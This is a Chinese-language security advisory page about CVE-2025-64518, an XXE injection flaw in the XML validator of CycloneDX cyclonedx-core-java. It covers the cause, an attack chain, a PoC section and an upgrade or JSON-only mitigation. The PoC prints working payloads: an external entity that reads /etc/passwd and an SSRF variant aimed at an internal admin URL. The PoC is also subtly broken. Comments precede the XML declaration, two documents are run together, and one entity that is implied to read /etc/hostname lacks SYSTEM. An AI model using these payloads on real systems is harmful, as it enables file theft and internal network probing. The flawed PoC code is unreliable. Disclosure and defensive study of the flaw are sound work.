IPBUF安全漏洞报告
English
CVE-2025-64518 CVSS 7.5 高危

CVE-2025-64518: CycloneDX core-java XXE注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-64518
漏洞类型
XXE注入 (XML External Entity Injection)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CycloneDX cyclonedx-core-java

相关标签

XXE注入XML外部实体CVE-2025-64518CycloneDXcyclonedx-core-javaSBOM高危漏洞文件读取SSRFJava

漏洞概述

CVE-2025-64518是CycloneDX cyclonedx-core-java库中的一个XML外部实体(XXE)注入漏洞。该漏洞存在于XML验证器中,从版本2.1.0开始就存在,直到11.0.1版本才被修复。值得注意的是,此前针对CVE-2024-38374(GHSA-683x-4444-jxh8)的修复是不完整的,它只修复了XML BOM解析过程中的安全问题,但并未修复验证环节的XXE漏洞。这使得攻击者可以通过构造恶意的XML文档来触发XXE攻击,读取服务器上的敏感文件。CVSS评分7.5,属于高危漏洞,攻击复杂度低,无需认证和用户交互即可利用。

技术细节

CycloneDX core模块的XML Validator在验证SBOM(软件物料清单)时未正确配置XML解析器的安全设置。问题出在SchemaFactory的配置上,缺少对外部实体的禁用设置。攻击者可以通过在XML文档中嵌入恶意DOCTYPE定义,引用外部实体来读取本地文件或发起SSRF攻击。例如,使用<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>这样的构造可以让解析器读取服务器上的敏感文件。由于该漏洞影响的是验证阶段而非解析阶段,之前针对CVE-2024-38374的补丁未能覆盖这一攻击面。攻击者只需向cyclonedx-core-java提交一个特制的XML文件进行验证,即可触发漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用cyclonedx-core-java处理CycloneDX SBOM文档
STEP 2
步骤2: 构造恶意XML
攻击者构造包含XXE payload的CycloneDX XML文档,定义外部实体引用本地文件或内部服务
STEP 3
步骤3: 触发验证
将恶意XML文档提交给cyclonedx-core-java的XML Validator进行验证
STEP 4
步骤4: 外部实体解析
不安全的XML解析器解析DOCTYPE,触发外部实体访问
STEP 5
步骤5: 数据泄露/攻击扩展
敏感文件内容被读取并包含在错误信息中返回,或发起SSRF攻击探测内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-64518 XXE Injection in CycloneDX --> <!-- This PoC demonstrates reading /etc/passwd via XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cyclonedx [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe2 "file:///etc/hostname"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.4" serialNumber="urn:uuid:&xxe2;"> <components> <component type="library"> <name>malicious-component</name> <version>&xxe;</version> <purl>pkg:maven/example/[email protected]</purl> </component> </components> </bom> <!-- SSRF PoC variant --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cyclonedx [ <!ENTITY ssrf SYSTEM "http://internal.corp.com/admin/api"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.4"> <metadata> <component> <name>&ssrf;</name> </component> </metadata> </bom>

影响范围

cyclonedx-core-java >= 2.1.0 且 < 11.0.1

防御指南

临时缓解措施
如果无法立即升级,可在接受用户输入的CycloneDX BOM之前进行预检查,明确拒绝XML格式的文档,仅接受JSON格式的SBOM。这是一种有效的临时缓解措施,因为该漏洞仅影响XML验证功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表